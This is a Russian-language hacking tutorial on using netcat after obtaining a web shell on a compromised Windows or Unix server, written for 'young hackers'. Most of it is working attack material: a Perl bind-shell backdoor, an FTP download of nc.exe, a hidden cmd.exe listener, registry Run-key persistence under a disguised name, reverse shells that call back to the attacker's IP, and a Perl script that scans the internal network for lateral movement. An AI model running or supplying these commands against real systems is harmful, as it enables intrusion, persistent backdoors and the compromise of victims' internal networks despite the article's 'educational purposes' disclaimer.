Netcat - наверное, нет среди вас тех, кто бы не знал эту прекрасную утилиту, написанную Хоббитом (Hobbit). Эта утилита может выполнять так много различных задач, что зачастую называют ее «швейцарский армейский нож». Но, я полагаю, что все о ней слышали, но не все могут похвастать знанием всех ее возможностей (или хотя бы основных). Этот пробел, я хотел бы восполнить своей статьей, а так же несколько популяризовать эту утилиту в кругах молодых хакеров и людей, интересующихся сетевой безопасностью.

 В последнее время наблюдается значительный рост популярности различных автоматических средств по взлому, исследованию, проникновению. Я не считаю что это хорошая тенденция, так как автоматические средства зачастую скрывают всю суть процесса, соответственно уменьшая ваше понимание этого процесса. Netcat удобная, и быстрая тулза, но все ее действия на виду.
В своей статье я бы хотел поподробней разобрать все ее возможности и показать на практических примерах их применение.
Утилита доступна как пользователям nix, так и win.Скачать ее можно отсюда: www.l0ph.com
Итак, разберем по пунктам, что может netcat.

Представьте себе ситуацию, вы получили web-shell на сервере. Что вы будете делать? Думаю, не ошибусь, если скажу что для начала, наверное, попытаетесь получить интерактивный шелл, он все же удобней, и позволяет компилировать почти все эксплоиты:-).
Для этого есть масса средств, залив perl'ового бэкдора, открывающего порт с /bin/bash, залив бэкдора типа cbd.c - который создает бэкконнект. Вариантов много, но лучшим вариантом, возможно, будет еще один - использовать netcat. Он универсален и может все вышеперечисленное. Почему netcat? Вы еще поймете его преимущества по ходу статьи.

 

 1. Web-shell на NT сервере.

 Итак мы имеем web-shell на сервере с Windows. В нашем примере это apache, сегодня apache на Windows уже не редкость. Первые шаги которые предпринимает взломщик обычно, это получение интерактивного шелла, так как web-shell все же не очень удобен. Стандартное средство реализовать это - заливаем perl'овый бэкдор примерно такого содержания:

#!/usr/bin/perl  

use Socket;
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}

Для его работы, нужно наличие установленного perl интерпретатора, знание пути к нему.
Зачем такие трудности - когда есть netcat. Зальем netcat в папку доступную для записи (на win-платформе можно залить в корень диска). На nix машинах это делаем через wget, на win-машинах через ftp, через внешний файл.
Рассмотрим сначала пример с win сервером и использование ftp для закачки netcat'a.
Создаем файл с командами для ftp через echo вывод в файл на сервере:
echo open IP-adress_FTP>C:\hftp.txt #создаем файл с командами для фтп
echo test >>C:\hftp.txt # имя пользователя
echo test >>C:\hftp.txt # пароль
echo binary >>C:\hftp.txt # бинарный режим передачи файлов
echo get nc.exe C:\nc.exe >>C:\hftp.txt # берем файлик с сервера фтп и заливаем его в корень C:
echo quit >>C:\hftp.txt # корректно отключаемся

Теперь просмотрим получившийся файл:

 И отдаем команду на выполнение:

ftp -s:C:\hftp.txt

После проверки наличия файла nc.exe в корне диска C: приступаем к организации бэкдора :-)
Настроим утилиту netcat на прослушивание определенного порта, с последующим запуском исполняемой программы, если удаленная система подключается к заданному порту. Нас интересует интерпретатор cmd.exe
команда, переданная скрипту должна выглядеть так:

C:\nc.exe -L -d -e cmd.exe -p31337

Теперь разберем аргументы, переданные программе.
-L - так называемый hard listening, позволяет восстанавливать разорванное соединение после отключения клиента, или обрыве соединения по ctrl-c.
-d - stealth режим, или detached console режим, скрытый режим, отвязывающий утилиту от окна консоли, фактически запуск в background'e.
-e - execute, этому флагу передаем имя программы которую надо выполнить при коннекте на порт, указанный после флага -p, в нашем случае 31337.

 

Теперь окончательно закрепимся в системе.
Создаем file.bat следующего содержания:

echo off
copy C:\nc.exe C:\WINDOWS\system32\nc.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v K3rn3ll /t REG_SZ /d "C:\WINDOWS\system32\nc -L -d -e cmd -p 31337" /f

Запускаем его на выполнение, и теперь наш бэкдорчик будет прописан в реестре, и загружаться на автомате.
Еще одно не маловажное замечание, не давайте имена файлов вами создаваемых, которые совпадают с системными утилитами, типа cmd, reg,ftp. И конечно же возможность записи в папку system32 будет только в том случае если apache запущен от имени юзера имеющего права администратора.

С виндами все просто, теперь поговорим о nix системах.

2. Web-shell на NIX сервере.

Web-shell на nix'ах, естественно, будет отличается только командами передаваемых скрипту.

 

 Запись в папку /tmp скорее всего нам будет разрешена. В любом случае зальем в папку доступную для записи либо сорцы, либо готовый бинарник, в зависимости от обстоятельств (есть ли доступ к gcc, например).
Хотя можно поступить и еще проще:

 

 

 Сейчас утилита netcat зачастую предустановленна на многих nix машинах, так что можно и не париться с заливкой.
Хотя тут должны быть разрешения на исполнение этого файла, поэтому просмотрите соответствующие флаги.
Предположим, доступ к netcat вы получили, теперь примемся за дело - организация интерактивного шелла.
По подобию win-машины, за некоторыми исключениями.
Запускаем netcat через браузер со следующими параметрами:

nc -l -p31337|/bin/sh|nc -l -p31338

Думая флаги ясны, скажу только о действии команды.
Netcat слушает порт 31337 ожидая входящих соединений, затем через pipe передает полученные данные программе /bin/sh, а результаты отработки программы передаются опять же через pipe на другой порт 31338.
Теперь коннектимся к открывшимся портам (см. скриншот)

 

Думаю мои действия на скриншоте пояснять отдельно не надо?
Добавив флаги -v и -n получите более подробный вывод и отключите резолвинг IP-адресов в имена хостов.
Ну как работает? Нет?! И это вполне естественно, на сервере ведь стоит фаерволл, который непроницаем, и админ спит спокойно.
Ну что же, тогда мы пойдем другим путем (используя все тот же netcat). Организуем обратный канал.
Здесь есть два способа. Один удобный, но требует специального компилирования netcat'a, второй не очень удобный, но дополнительных затрат времени не требует. Начнем именно с него.
Запускаем netcat следующим образом:
Локально, на своем компьютере:
в одном окне консоли:
#nc -vv -l -p80
во втором окне консоли:
#nc -nvv -l -p25

Теперь, запускаем netcat на сервере, через браузер, следующим образом:

nc НАШ_IP_адрес порт_нефильтруемый фаэром(например 80)|/bin/sh|nc НАШ_IP_адрес порт_нефильтруемый фаэром(например 25)

Смотрим скриншот.


На скриншоте я использую номера портов 8080 и 8081, просто потому что за другими крутятся сервисы. Вы можете использовать любые не фильтрующиеся порты.
Суть понятна - мы инициируем коннект от сервера к нашему компьютеру, и опять же с использованием pipe'ов, получаем интерактивный шелл, в одном окне мы вводим команды, в другом получаем их результат. Не очень удобно, не так ли? Облегчим наши страдания.

Немного о компилировании netcat в nix системах.
Компилирование утилиты производиться так:
make <systype> [options]
Если утилита скомпилирована без указания определенной опции, то флаг -e (который мы уже использовали на win-машине) не будет доступен. Это полезный флаг утилиты, как его достать?
Компилим netcat следующим образом:
make <systype> DFLAGS="-DGAPING_SECURITY_HOLE"

<systype> - это думаю понятно, тип ОСи. Я компилил под freebsd, и у меня команда выглядела так:

make freebsd DFLAGS="-DGAPING_SECURITY_HOLE"

Если вы затрудняетесь с указанием типа ОСи - напишите просто - generic.
Скомпилили, проверяем - флаг -e доступен. Именно такой бинарник теперь нужно залить на сервак.
Потеряли немного времени, но теперь наш обратный канал обойдется и одним окошком консоли.

Запускаем у себя на компьютере netcat:

#nc -l -n -v -p80

А потом запускаем netcat на сервере через браузер:

nc -e /bin/sh НАШ_IP_адрес 80

Смотрим что получается:

 

 Здесь я привел скриншот из win-консоли, просто для того чтобы показать что разницы между win и nix в данном случае нет.

Хех - теперь можно и спокойно подумать о повышении привилегий. Что? Никак неполучается?! Ваш id не удается уронить до нулевой отметки? Жаль... Но еще не все потеряно. Ведь сервак то в сети. А если на нем стоит брандмауэр, то, возможно, он еще является и шлюзом, за которым локальная сеть?! А компы в локалке наверняка защищены куда слабее сервера, а возможно, что это еще и не патченные виндовые машины, которые пробиваются kaht'том. Ну, возможно-то все, как это проверить?
Для начала посмотрим, сколько на сервере интерфейсов -> ifconfig, если это никсы, и ipconfig - если win. Ну что - два интерфейса? Ага, так точно - жадные пошли фирмы, организуют все на одном серваке - и шлюз и web-сервер - нехорошо это... но нам на руку. Второй интерфейс будет иметь внутренний адрес, что-то типа 10.0.0.1 или 192.168.0.1, думаю что это мы отличим быстро :-). Теперь наша задача просканировать имеющуюся подсеть.
Вы уже начали качать nmap c insecure.org? Это зря, есть netcat! И сканировать он умеет не плохо, хотя не лучше nmap'a, но нам тут много не нужно, лишь узнать живые машины в сети и их открытые порты (названия сервисов также netcat нам сообщит).
Для начала просканируем один компьютер из локалки, для тренировки, потом напишем простенький сценарий на perl, для того чтобы автоматизировать процедуру сканирования подсети.
Итак, начнем сканировать.

Запускаем netcat со следующими параметрами:

nc -v -z -w2 IP-address 80-140 1000-1500

 

 

Я немного поэкспериментировал с бухгалтерским сервером в своей конторе, думаю они мне это простят :-). Как вы поняли все эти манипуляции я совершаю со своего шелла (см. предыдущий скрин).
Теперь разберем флаги:
-v подробный вывод статистики, (если вы зададите заместо -v -vv, то информация будет отображаться по каждому соединению, а так отображаются только открытые порты).
-z отключаем I/O, mode Zero I/O, эта опция служит для сканирования.
-w sec - опция для указания таймаута ожидания, в нашем примере таймаут равен 2 секундам, выбор зависит от скорости соединения.
После IP адреса идут ранжированные порты через пробелы, это ускоряет сканирование, чтобы утилита не "тыкалась" в явно пустые диапазоны портов.

Просканировать так 1 IP адрес не задача, но нам нужно просканировать всю подсеть? Для этого одними средствами netcat не обойтись и лучше написать простенький perl-скрипт автоматизирующий эту процедуру.

#!/usr/bin/perl

my $mask="192.168.0";# в зависимости от IP адреса сети, выставляем маску.

for($i=1;$i<255;$i++) {# организуем цикл

my $ipaddr="$mask.$i";# генерим новый IP адрес
system("echo '[$ipaddr]'"); #это будет разделитель записей в файле.
system("nc -v -z -w2 $ipaddr 15-30 80-140 5000-10000 31337");# можно еще добавить опцию -n -отключающую преобразование IP адресов в хосты, но также будет отключено распознавание имен сервисов, но ускориться работа в целом сканирования.
}

Написали скрипт? Теперь его нужно залить в подходящую директорию доступную на запись нашему юзеру. В linux-дистрибах это частенько бывает папка /tmp, в моем случае с freebsd, папка /tmp не доступна для записи, но вложенная папка оказалась доступной для всех. (Поэтому особенно важно изучать возможность своего id в системе).

 

 Теперь у нас два варианта, залить скрипт через echo, или воспользоваться все тем же netcat'ом. Он умеет перегонять файлы в легкую. Для этого запускаем на сервере netcat со следующими параметрами:

nc -l -p 8080 >FULL_PATH_TO_DIRECTORY\script.pl

Мы открываем порт 8080 в ожидании получения файла script.pl на этот порт, и сразу же запишем его в нужный нам каталог, когда состоится подключение с нашего компьютера. Запускаем у себя netcat со следующими параметрами:

nc DESTINATION_IP 8080 <script.txt

Подождем секунд десять, и жмем на локальном сеансе ctrl-c, после чего проверяем наличие файла на удаленной машине.

 

 

Запускаем скрипт perl script.pl. Идем курить, а потом смотрим результат

 

 
 Теперь можно снимать баннеры с насканеных сервисов/демонов (если это потребуется).
Это уже довольно известная возможность netcat'a. Я вам лишь посоветую использовать флаг -v для подробного вывода.

Заключение

Ну что же, это в основном все, что я хотел рассказать об этой замечательной утилите. Дополнительные материалы вы всегда сможете найти в Интернете. Я рассказал не обо всех возможных функциях этой утилиты, и не обо всех способах и методах ее применения. Поэтому у вас всегда есть поле для экспериментов и изучения. Еще я бы хотел добавить что данный материал естественно представляет собой локальный эксперимент, и поэтому условия здесь, я бы сказал тепличные, я не переживал об оставленных логах и тому подобных вещах. Так же я допускаю что доступ с внешнего интерфейса во внутренний не блокировался брандмауэром (в последнем примере со сканированием подсети).
Эта статья написана исключительно в образовательных целях.
Если у вас возникли вопросы касательно этой статьи вы всегда меня можете найти на Форуме mazafaka.ru

back content next